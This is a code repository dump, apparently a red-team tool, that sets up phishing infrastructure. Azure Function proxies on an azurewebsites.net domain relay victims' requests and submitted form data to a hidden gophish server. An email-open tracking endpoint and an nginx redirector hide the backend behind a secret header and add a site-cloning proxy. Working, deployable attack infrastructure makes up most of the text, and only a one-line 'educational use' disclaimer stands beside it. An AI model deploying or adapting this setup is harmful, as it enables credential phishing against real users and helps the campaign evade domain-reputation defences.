├── .gitignore ├── README.md ├── azurefunction ├── OwaCheckIn │ ├── __init__.py │ └── function.json ├── OwaCheckIn_track │ ├── __init__.py │ └── function.json ├── host.json └── requirements.txt └── nginx └── sites-available └── phish.conf /.gitignore: -------------------------------------------------------------------------------- 1 | local.settings.json 2 | .python_packages/ 3 | __pycache__/ 4 | *.py[cod] 5 | *$py.class 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # azure function proxy (for phishing) 2 | 3 | here are config files for using *[.]azurewebsites[.]net domain for phishing. 4 | 5 | infrastructure setup: 6 | 7 | [azure function](https://docs.microsoft.com/en-us/azure/azure-functions/) → 8 | [nginx redirector](https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/) → 9 | target framework (e.g. [gophish](https://getgophish.com/)) 10 | 11 | the nginx redirector with the target framework stays hidden behind the azure function. 12 | 13 | ## config files in this repo 14 | 15 | * [/azurefunction](./azurefunction): folder for azure function deployment 16 | * [/azurefunction/OwaCheckIn](./azurefunction/OwaCheckin): endpoint files for phishin 17 | * [/azurefunction/OwaCheckIn_track](./azurefunction/OwaCheckin_track): endpoint files for tracking email opening (for gophish) 18 | * [/nginx](./nginx): nginx configuration 19 | * [/nginx/sites-available/phish.conf](./nginx/sites-available/phish.conf): nginx redirector accepting azurefunction and forwarding to local (gophish) framework 20 | 21 | ### azure function usage 22 | 23 | with [Azure Functions Core Tools](https://docs.microsoft.com/en-us/azure/azure-functions/functions-run-local). 24 | 25 | local testing: 26 | 27 | ``` 28 | func start 29 | ``` 30 | 31 | deployment to prod with app name `evil` (after logging in with `az login`): 32 | 33 | ``` 34 | func azure functionapp publish evil 35 | ``` 36 | 37 | ## recommended sending profile 38 | 39 | [Microsoft 365 Business Basic](https://www.microsoft.com/en-us/microsoft-365/business/microsoft-365-business-basic?activetab=pivot:overviewtab) for $5.00 user / month. :) Free or trial may cause issues, it won't work as expected. 40 | 41 | ## disclaimer 42 | 43 | using is allowed only for educational and/or research purposes! 44 | 45 | unauthorized phishing is prohibited. 46 | 47 | -------------------------------------------------------------------------------- /azurefunction/OwaCheckIn/__init__.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | import azure.functions as func 4 | import requests 5 | 6 | hostname = "hidden.phish.framework.domain" 7 | key = "SECRET-KEY" 8 | 9 | def merge_two_dicts(x, y): 10 | logging.info(x) 11 | return x | y 12 | 13 | def set_header(): 14 | headers = {'X-Key': key} 15 | return headers 16 | 17 | def main(req: func.HttpRequest) -> func.HttpResponse: 18 | logging.info('Python HTTP trigger function processed a request.') 19 | url = f"https://{hostname}" 20 | 21 | if req.method == "GET": 22 | resp = requests.get(url, params=req.params, headers=merge_two_dicts(dict(req.headers), set_header())) 23 | return func.HttpResponse(body=resp.content, status_code=resp.status_code, mimetype=resp.headers['content-type']) 24 | elif req.method == "POST": 25 | resp = requests.post(url, params=req.params, data=req.get_body(), headers=merge_two_dicts(dict(req.headers), set_header()), allow_redirects=False) 26 | if 'content-type' in resp.headers: 27 | return func.HttpResponse(body=resp.content, status_code=resp.status_code, mimetype=resp.headers['content-type']) 28 | else: 29 | return func.HttpResponse(body=resp.content, status_code=resp.status_code, headers=resp.headers) 30 | else: 31 | return func.HttpResponse("Method not supported.", status_code=200) 32 | 33 | -------------------------------------------------------------------------------- /azurefunction/OwaCheckIn/function.json: -------------------------------------------------------------------------------- 1 | { 2 | "scriptFile": "__init__.py", 3 | "bindings": [ 4 | { 5 | "authLevel": "anonymous", 6 | "type": "httpTrigger", 7 | "direction": "in", 8 | "name": "req", 9 | "methods": [ 10 | "get", 11 | "post" 12 | ] 13 | }, 14 | { 15 | "type": "http", 16 | "direction": "out", 17 | "name": "$return" 18 | } 19 | ] 20 | } -------------------------------------------------------------------------------- /azurefunction/OwaCheckIn_track/__init__.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | import azure.functions as func 4 | import requests 5 | 6 | hostname = "hidden.phish.framework.domain" 7 | key = "SECRET-KEY" 8 | 9 | def merge_two_dicts(x, y): 10 | logging.info(x) 11 | return x | y 12 | 13 | def set_header(): 14 | headers = {'X-Key': key} 15 | return headers 16 | 17 | def main(req: func.HttpRequest) -> func.HttpResponse: 18 | logging.info('Python HTTP trigger function processed a request.') 19 | url = f"https://{hostname}/track" 20 | 21 | if req.method == "GET": 22 | resp = requests.get(url, params=req.params, headers=merge_two_dicts(dict(req.headers), set_header())) 23 | return func.HttpResponse(body=resp.content, status_code=resp.status_code, mimetype=resp.headers['content-type']) 24 | else: 25 | return func.HttpResponse("Method not supported.", status_code=200) 26 | 27 | -------------------------------------------------------------------------------- /azurefunction/OwaCheckIn_track/function.json: -------------------------------------------------------------------------------- 1 | { 2 | "scriptFile": "__init__.py", 3 | "bindings": [ 4 | { 5 | "authLevel": "anonymous", 6 | "type": "httpTrigger", 7 | "direction": "in", 8 | "name": "req", 9 | "route": "OwaCheckin/track", 10 | "methods": [ 11 | "get" 12 | ] 13 | }, 14 | { 15 | "type": "http", 16 | "direction": "out", 17 | "name": "$return" 18 | } 19 | ] 20 | } -------------------------------------------------------------------------------- /azurefunction/host.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0", 3 | "logging": { 4 | "applicationInsights": { 5 | "samplingSettings": { 6 | "isEnabled": true, 7 | "excludedTypes": "Request" 8 | } 9 | } 10 | }, 11 | "extensionBundle": { 12 | "id": "Microsoft.Azure.Functions.ExtensionBundle", 13 | "version": "[2.*, 3.0.0)" 14 | } 15 | } -------------------------------------------------------------------------------- /azurefunction/requirements.txt: -------------------------------------------------------------------------------- 1 | # Do not include azure-functions-worker as it may conflict with the Azure Functions platform 2 | 3 | azure-functions 4 | requests 5 | -------------------------------------------------------------------------------- /nginx/sites-available/phish.conf: -------------------------------------------------------------------------------- 1 | # nginx redirector to gophish framework 2 | # ssl managed by letsencrypt certbot 3 | 4 | server { 5 | server_name hidden.phish.framework.domain; 6 | 7 | location / { 8 | # secret key check (passed by azure function in x-key header) 9 | if ($http_x_key != "SECRET-KEY") { 10 | return 404; 11 | } 12 | proxy_pass http://127.0.0.1:8000; 13 | } 14 | 15 | listen 443 ssl; # managed by Certbot 16 | ssl_certificate /etc/letsencrypt/live/hidden.phish.framework.domain/fullchain.pem; # managed by Certbot 17 | ssl_certificate_key /etc/letsencrypt/live/hidden.phish.framework.domain/privkey.pem; # managed by Certbot 18 | include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot 19 | ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot 20 | 21 | } 22 | 23 | server { 24 | if ($host = hidden.phish.framework.domain) { 25 | return 301 https://$host$request_uri; 26 | } # managed by Certbot 27 | 28 | listen 80; 29 | server_name hidden.phish.framework.domain; 30 | return 404; # managed by Certbot 31 | } 32 | 33 | # helper proxy for gophish site cloning 34 | # for cloning https://target.com use http://localhost:81/proxy/https://target.com 35 | # purpose of this helper proxy is to add custom headers (like language specification) 36 | server { 37 | listen 127.0.0.1:81; 38 | 39 | merge_slashes off; 40 | 41 | location ~ ^/proxy/(.*)$ { 42 | resolver 8.8.8.8; 43 | proxy_pass $1$is_args$args; 44 | # add custom headers 45 | proxy_set_header Accept-Language hu-HU; 46 | } 47 | 48 | location / { 49 | return 444; 50 | } 51 | } 52 | 53 | # required for the http section (in /etc/nginx.conf): for passing hostname to upstream instead of resolved IP 54 | # http { 55 | # proxy_ssl_server_name on; 56 | # } 57 | --------------------------------------------------------------------------------